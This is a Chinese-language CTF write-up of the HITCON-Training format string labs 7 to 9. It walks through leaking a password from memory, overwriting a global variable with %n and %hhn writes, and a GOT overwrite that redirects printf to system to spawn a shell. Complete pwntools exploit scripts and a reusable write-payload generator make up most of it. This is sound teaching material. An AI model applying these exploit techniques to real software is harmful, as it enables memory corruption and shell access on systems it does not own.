HITCON-Tranning-Master lab7 - lab9

最近在看格式化字符串漏洞,就做了HITCON-Tranning-Master的lab7~lab9 这几题都是关于格式化字符串漏洞的利用的

lab7:

ida反编译

HITCON-Tranning-Master lab7 - lab9_第1张图片
image.png

程序先是打开/dev/urandom 文件,从中取出四个字节作为password,然后要求我们输入name和password
后面有个判断语句 ,如果我们输入的password等于程序从urandom中读取的随机数,就执行system(cat flag)
可以发现它在第20行中存在格式化字符串漏洞,它将格式化字符串交给用户来输入
解题思路:
通过printf函数 将password给泄露出来 然后再输入

  1. 确定要泄露的地址
    通过ida查看password的地址
HITCON-Tranning-Master lab7 - lab9_第2张图片
image.png
  1. 确定相对偏移
HITCON-Tranning-Master lab7 - lab9_第3张图片
image.png

格式化字符串是函数的第11个参数 所以相对偏移offset=11-1=10

  1. 泄露password地址的内容
payload = p32(password) + "#" + "%10$s" + "#"
“#”是为了方便接收泄露的password

exp:

from pwn import*
context.log_level="debug"  
  
p = process('./crack')  
p.recv()  
payload= p32(0x0804a048) +"#"+"%10$s"+"#"   
p.send(payload)  
p.recvuntil("#")  
  
data=p.recvuntil("#")  
data=u32(data[:4])  
p.recv()  
p.send(str(data))  
p.interactive()

lab8 :

ida反编译

HITCON-Tranning-Master lab7 - lab9_第4张图片
image.png

这道题考验我们利用格式化字符串漏洞改写任意地址的内容的能力
程序要求我们输入一串字符串 然后输出这串字符串
后面有一个判断语句 magic==218 和 magic == 0xfaceb00c都可以cat flag
先做将magic覆写为218的做法

  1. 确定magic地址
HITCON-Tranning-Master lab7 - lab9_第5张图片
image.png
  1. 确定相对偏移


    HITCON-Tranning-Master lab7 - lab9_第6张图片
    image.png

相对偏移为7

payload = p32(magic_add) + "%214c" + "%7$n"
%214c 的作用是输出214个字符

然后做将magic覆写为0xfaceb00c的做法
因为这个转换成数字太大了 ,会超出程序的内存 ,所以不能像之前的那样直接覆写
要借助 格式化字符串的标志 hh 和h

hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。
h  对于整数类型,printf期待一个从short提升的int尺寸的整型参数。
“%hhn"可以向地址写入一个字节的内容  "%hn"可以向地址写入两个字节的内容

在这里我用的是hhn
因为数据在内存中是按小端存储的 ,所以向地址依次写入的内容是 \x0c \xb0 \xce \xfa

payload = p32(magic) + p32(magic+1) + p32(magic+2) + p32(magic+3)
payload +=paddnig1 + "%7$hhn" + padding2 + "%8hhn" + padding3 + "%9$hhn" + padding4 + "%10$hhn"

padding可以手算也可以用脚本算

脚本为:

def fmt(prev,word,index):  
    payload = ''  
    if word > prev:  
        temp = word - prev  
        payload += '%' + str(temp) + 'c'  
    elif word == prev:  
        temp = 0  
    else:  
        temp = 256 + word - prev   
        payload += '%' + str(temp) + 'c'  
    payload += '%'+str(index)+ '$hhn'  
      
    return payload  
  
def fmt_start(address,offset,target,size,):  
    payload=''  
    if size == 4:  
        for i in range(4):  
            payload += p32(address+i)  
    else:  
        for i in range(4):  
            payload += p64(address+i)  
  
    prev = len(payload)  
    for i in range(4):  
        payload += fmt(prev,(target>>8*i)&0xff,offset+i)  
        prev = (target >> 8*i)&0xff  
    return payload    

address是我们要覆写的地址 ,offset是相对偏移 ,target是要覆写的值 ,size则表示机器字长
target>>8i的作用是去掉target最后2i位,&0xff的作用是取(target>>8*i)的最低两位
例如 target>>8 ==0xfaceb0 同时 (target>>8) &0xff == 0xb0

exp:

from pwn import*  
context.log_level = "debug"  
  
p = process('./craxme')  
  
magic = 0xfaceb00c  
target = 0x0804a038  
  
def fmt(prev,word,index):  
    payload = ''  
    if word > prev:  
        temp = word - prev  
        payload += '%' + str(temp) + 'c'  
    elif word == prev:  
        temp = 0  
    else:  
        temp = 256 + word - prev#this make sure the lowest 2 byte is word  
        payload += '%' + str(temp) + 'c'  
    payload += '%'+str(index)+ '$hhn'  
      
    return payload  
  
def fmt_start(address,offset,target,size,):  
    payload=''  
    if size == 4:  
        for i in range(4):  
            payload += p32(address+i)  
    else:  
        for i in range(4):  
            payload += p64(address+i)  
  
    prev = len(payload)  
    for i in range(4):  
        payload += fmt(prev,(target>>8*i)&0xff,offset+i)  
        prev = (target >> 8*i)&0xff  
    return payload    
s= fmt_start(0x0804a038,7,0xfaceb00c,4)  
p.recv()  
p.send(s)  
print p.recv()  
  
p.interactive()

lab9:

关键函数ida反汇编代码

HITCON-Tranning-Master lab7 - lab9_第7张图片
image.png

很明显的一个格式化字符串漏洞
题目没有system函数 ,所以我们要做的是 获取system函数的地址 同时调用system来getshell,可以通过泄露printf_got的地址来获取libc在内存中的地址 计算出system函数的地址,然后将printf_got覆盖成system函数的地址 再传入"/bin/sh"来获取shell
但是这题和之前两题有点不同, 它的格式化字符串位于bss段上,不在栈上,所以不能通过上面的方法来泄露

这里我用的地址是:

HITCON-Tranning-Master lab7 - lab9_第8张图片
image.png
ebp_1 = 0xffffcfc8 ebp_2=0xffffcfd8
fmt_7 = 0xffffcfcc fmt_11=0xffffcfdc
ebp_1的相对偏移为6 ebp_2的相对偏移为10

这里覆写地址内容主要用到的是 %hn 一次写入两个字节内容
解题思路:

  1. 通过ebp_1使ebp_2指向fmt_7
  2. 通过ebp_2将fmt_7处的内容覆盖成printf_got
  3. 通过ebp_1使ebp_2指向fmt_11
  4. 通过ebp_2将fmt_11处的内容修改成printf_got+2
  5. 通过fmt_7将printf_got地址泄露出来
  6. 计算出system函数的地址 ,将system函数地址写入printf在got表的地址 具体做法是将 system函数地址的前两个字节写入fmt_7,后两个字节写入 fmt_11
  7. 输入"/bin/sh"字符串调用system函数

exp:

from pwn import*  
context.log_level="debug"  
p = process('./playfmt')  
elf=ELF('./playfmt')  
lib = ELF('/lib/i386-linux-gnu/libc.so.6')  
  
system_lib = lib.symbols['system']  
printf_lib = lib.symbols['printf']  
printf_got = elf.got['printf']  
p.recv()  
  
log.info("**********leak printf_got************")  
payload = "%6$x"  
p.sendline(payload)  
  
ebp2_add = int(p.recv(),16)  
print ebp2_add  
ebp1_add = ebp2_add - 0x10  
fmt_7 = ebp2_add - 0xc  
fmt_11 = ebp2_add + 4  
log.info("printf_got --> [%s]"%hex(elf.got['printf']))  
log.info("ebp2_address --> [%s]"%hex(ebp2_add))  
log.info("fmt7_address --> [%s]"%hex(fmt_7))  
log.info("fmt11_address --> [%s]"%hex(fmt_11))  
  
  
payload = '%' + str(fmt_7&0xffff)+'c%6$hn'   
#ebp2_add --> fmt_7  
p.sendline(payload)  
p.recv()  
  
#fmt_7 --> printf_got  
payload = '%' + str(printf_got&0xffff) + 'c%10$hn\x00'  
p.sendline(payload)  
p.recv()  
  
while True:  
    p.send("zs0zrc\x00")  
    sleep(0.2)  
    data = p.recv()  
    if data.find("zs0zrc")!= -1:  
        break  
  
#ebp2_add --> fmt_11  
payload ='%' + str(fmt_11&0xffff) + 'c%6$hn\x00'  
p.sendline(payload)  
p.recv()  
  
  
#fmt_11 --> printf_got + 2   
payload = '%' + str((printf_got+2)&0xffff) + 'c%10$hn'  
p.send(payload)  
p.recv()  
  
while True:  
    p.send("zs0zrc\x00")  
    sleep(0.2)  
    data = p.recv()  
    if data.find("zs0zrc")!= -1:  
        break  
  
payload = 'aaaa%7$s\x00'  
p.send(payload)  
p.recvuntil("aaaa")  
printf_add = u32(p.recv(4))  
log.info("print_add --> [%s]"%hex(printf_add))  
system_add = printf_add - lib.symbols['printf'] + lib.symbols['system']  
  
pause()  
payload = "%" + str(system_add&0xffff) +"c%7$hn"  
payload +="%" + str((system_add>>16)-(system_add&0xffff))+"c%11$hn"  
p.sendline(payload)  
  
while True:  
    p.send("zs0zrc\x00")  
    sleep(0.2)  
    data = p.recv()  
    if data.find("zs0zrc")!= -1:  
        break  
p.send("/bin/sh\x00")  
p.interactive()

下面对脚本做点解释
因为pwntool的recv()函数一次最多接受0x1000字节的内容,用%hn这种方式会接收很多字符,单次肯定接收不完,
所以通过发送标志字符串 然后接收查看标志字符串的方式来检查是否接收完,不然的话会卡住

while True:  
    p.send("zs0zrc\x00")  
    sleep(0.2)  
    data = p.recv()  
    if data.find("zs0zrc")!= -1:  
        break  
HITCON-Tranning-Master lab7 - lab9_第9张图片
image.png

你可能感兴趣的:(HITCON-Tranning-Master lab7 - lab9)